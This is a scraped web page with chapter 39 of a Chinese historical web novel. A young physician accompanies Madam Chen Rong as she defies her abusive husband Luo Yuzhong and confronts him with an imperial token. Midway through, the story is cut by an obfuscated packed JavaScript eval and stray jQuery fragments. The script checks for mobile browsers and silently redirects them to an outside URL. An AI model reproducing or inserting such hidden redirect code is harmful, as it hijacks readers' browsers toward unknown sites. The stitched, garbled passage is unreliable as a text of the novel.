39. 蠢货

作品:《你好看病吗,包治的

    余芳华几人本想阻拦,但见周茹楠下定决心的模样便知再怎么劝阻她都不会听了,只好派一人与她同行,免得周茹楠身体不适,身旁又没有信任之人。


    因为余芳华和柳馨有事,最终陈盼与周茹楠一同前往罗府。


    徐汇把马车停在门口,见周茹楠拿着药箱气势汹汹地走出来时,不由地打了个颤。“周姑娘……你不是病了么,身子可还好?”


    “没事,徐汇你能尽快到罗府吗?”


    徐汇咽了口口水,总觉得周茹楠提的不像是救人命的药箱,更像是拎着收割人头的利器,仿佛到了罗府就要大开杀戒般,“可以,我尽快一炷香之内到达。”


    “好,多谢。”周茹楠点点头,和陈盼坐进马车。窄小的马车内氛围十分严肃,陈盼感受到周茹楠的紧绷和愤怒,默默握住她的手,试图让她放松一些。


    “陈姑娘……”周茹楠盯着随着马车晃动的帘子,低声喃喃道,“你说男的想要管住他们的下//半//身是什么很难的事情吗?”


    “倘若管不住,那种人和畜生又有什么区别呢?”


    无论是李仁德还是罗玉忠,一个比一个行径恶劣,周茹楠想不明白这群人做了种种错事后,怎么还有脸且毫无反省愧疚地活在这世上,反而受害者要么离开世间,要么有了痛苦的经历和阴影,此生都无法释怀。


    就连舆论,也更多是在审判受害者。


    是她故作矜持,是她心机引诱,是她无力生育……总能扒出一个过错当做她们受害的理由,并以此指责,转而告诫其他女子不要像她们那样……


    相同地,他们也会为加害者找各种理由,他心思单纯被诱惑了,他喝醉了,他要传宗接代,他,本性如此……总有一百种理由可以为加害者推脱,让人们同情。


    凭什么?


    凭什么!?


    凭什么!!!


    陈盼张张口,不知如何安慰,叹了口气,握住周茹楠的手紧了紧。


    周茹楠知道自己的问题在这个时代显得有些“可笑”,也不强求陈盼回答自己,她歪头靠在对方肩上,无助和疲倦宛若潮水将她淹没。


    很快到了罗府,染秋早已站在门口等待,看到周茹楠后担忧的神色里终于消散了些。


    “周姑娘,我今日来找你听闻你身体不适,现在可还好?”


    “我没事了,劳烦染秋姑娘挂心,这位是陈盼姑娘,”周茹楠简单向两人介绍了一下对方,陈盼与染秋互相行礼问好,“先带我去看看林姑娘吧。”


    “林姑娘她……”染秋环顾四周确认无人后,凑近压低声音道,“罗老爷下令除了宋郎中和他的人,谁都不准进入林姑娘的院子……说是害怕有人陷害林姑娘和她腹中胎儿。”


    闻言周茹楠冷笑一声,“他就是最危险的存在,哪来的脸防范别人。”


    “那现在你们也不知道林姑娘真实的情况?”


    染秋摇摇头,“我们现在只能从宋郎中那里得知情况。”


    “宋郎中……”周茹楠低声喃喃了一遍,“宋郎中不是在南城吗,李郎中出诊去了,北城不是还有我妈?罗玉忠那人是有多不想见我,这么紧急的情况,居然还派人去那么远的地方请宋郎中过来……”


    “他就没有想过万一宋郎中不在或者赶不上怎么办?救人命的事情怎么敢多耽误?”周茹楠越说越气。


    “其实……今日宋郎中恰好来找老爷,林姑娘出事时,宋郎中也刚好到府中。”


    “哦,这么巧合?那宋郎中是为什么来呢?”


    “老爷喝了些酒头疼,就派人来请宋郎中看看。”染秋如实回答。


    “喝酒头疼有必要这么大动干辄吗,他那种人喝点醒酒药就差不多了……他以前会这么做吗?”


    染秋又摇了摇头。


    周茹楠心中疑惑更甚,这一切巧合太多,疑点太多,尤其是宋郎中和罗玉忠二人。


    谈话间,三人走到陈夫人院中,只见她屋子外站着周茹楠从未见过的人,不用想应该是罗玉忠派来监视陈夫人的。


    做贼心虚,周茹楠嘴角扬起一抹冷笑,觉得这男人不要脸到极致。


    陈夫人似乎已经习惯了,淡然地坐在烛台旁看书喝茶,一副悠然姿态。然而听到周茹楠来后,她立马放下书起身迎接,露出欣喜和松了口气的表情,“周姑娘,快来。”


    “路上染秋应该将情况都告诉你了吧?”


    “嗯,林姑娘那边……夫人你有办法让我去看看吗?”


    陈夫人坚定地点点头,“走吧,我在这里便是等周姑娘的。”


    然而陈夫人刚迈出门槛一步,便有两名婢女上前阻拦,说罗老爷吩咐过不能让夫人离开屋子半步。


    “好。”陈夫人点点头,却没有因此退缩,反而又上前了几步。


    每一步都踏的极稳,她微微抬起下颚,目光里被困于内宅的愤怒化作淬了寒冰的刀锋,缓缓扫过面前的两人。


    “作为罗玉忠的夫人我不可迈出屋子半步,但我若作为州府通判陈氏之女陈蓉——”她声音不高,却字字清晰,带着家族根基带来的底气和气势,而“陈氏之女陈蓉”被她咬得极重,如同金石相击,掷地有声。


    “谁敢拦我?”


    一股无形的压迫感瞬间以她为中心弥漫开,而那两名婢女被她骤然迸发的威严气势震慑,不由自主地瑟缩了下,原先伸出的僵在半空,回过神二人收手,纷纷跪地。


    “夫人……若您出去,老爷会责罚我们的……”


    “你们待在我院里,有我护着,他不敢。”换做往日,为了维持二人在外的形象关系,陈蓉再厌恶罗玉忠也不会与他撕破脸,可最近此人愈发张狂,让她意识到忍气吞声并不是什么良策,反而会让罗玉忠那种人得意忘形。


    不用考虑维护对方的体面后,陈蓉说话直接了许多,看得周茹楠十分痛快。而那些婢女也斟酌了下利害,不敢再上前阻拦。


    余光中周茹楠瞧见一个身影溜走,她正想提醒,却见陈蓉摇摇头,“让她通风报信去,刚好今日新账旧账一起与那姓罗的算清。”


    “二位姑娘,先同我去见林姑娘吧!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801953|172716||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    救人要紧,周茹楠点点头,回头看了眼陈盼示意她跟上。


    林姑娘的院子里外都站着婢女和小厮,看见陈蓉带着周茹楠和陈盼以势不可挡的气势走来时,面上露出惊讶担忧的神色。


    有人鼓起勇气上前,却被陈蓉一个眼神瞪回去,但有人似乎不怕,脸上挂着谄媚讨好的笑,说出的话却像是威胁,“夫人……老爷吩咐过,您应该待在您的院子里,不能出来,更不能来这里呀。”


    陈蓉不屑地勾勾嘴角,“我去哪里,他管得着?”


    “这……夫人您别为难我……”


    “孙平,你要是再多说一句,马车下毒那事我便叫我父亲过来彻查,”陈蓉脸色平淡,可字字仿若银针般扎在孙平心尖上,他脸色“唰”地变得惨白,而陈蓉没有顾及对方,直接点明了残酷的事实,“你猜,罗玉忠那个蠢人是会护你周全,还是将你杀人灭口,消除证据?”


    孙平挤出微笑还想说什么,此时一道男声打破了尴尬紧张的氛围,“污蔑人的事情夫人做得十分顺手,看来林姑娘这药,也是你顺手下的吧?”


    “瞧夫君一副蠢而不自知的模样,难道是觉得我没有找到关键证据,就会任你造谣宰割,冠上‘妒妇’二字,觉得你已经胜券在握了?”陈蓉没有转身,但语气毫不掩饰轻蔑,只是听着就能想象出她的表情。


    “夫人最近没休息好么,怎么说些我听不懂的昏话?”罗玉忠缓缓走近,周茹楠再次感受到被毒蛇缠身的寒意,她回头警惕地注视着对方的一举一动,而那人只是拍拍手,“来人,送夫人和她的客人回去。”话音落下,身后的家丁蠢蠢欲动想要上前。


    “谁敢!”陈蓉一声断喝,声如裂帛,压住了所有的骚动,她迎着罗玉忠阴鸷的目光缓缓上前,并从宽大的袖袍中抽出一物。


    那是一块巴掌大小,色泽沉黯的玄色令牌!


    令牌造型古朴,正面刻着一个遒劲的“敕”字,有阳光从厚重的云层透出,微暖的光投射在令牌上,将细节清晰勾勒出来。


    而陈蓉高举令牌,手臂稳如磐石,那令牌在众人或是惊骇或是疑惑的目光中,散发出令人窒息的威压。


    “罗玉忠!睁大你的狗眼看清楚了,”陈蓉转身,冷眼刺向那人,吐出的每一次仿若冰锥砸在地上,“此乃天子钦赐副令,见此牌如见圣驾,钦差!”


    “你还不跪下!?”


    罗玉忠脸上的得意瞬间凝固,碎裂,化作一片惨白和惊恐。而周边的家仆早已在陈蓉拿出令牌时便跪倒在地,额头死死抵着冰凉的地砖,浑身抖如筛糠。


    而罗玉忠死死盯着陈蓉手中的令牌,摇摇头,他下意识想要上前查看,但又怕冒犯圣驾,堪堪收住了脚,“不、不可能,你一个妇人怎么可能持有此物?”


    陈蓉低头笑了下,似乎是被这问题逗乐了,“蠢货一个,我除了是你夫人,还是陈氏之女——”


    “你对我屡次刁难侮辱,就从未考虑过后果吗?”


    “还是说……你觉得我嫁给你之后,便要一辈子对你言听计从,伏低做小?”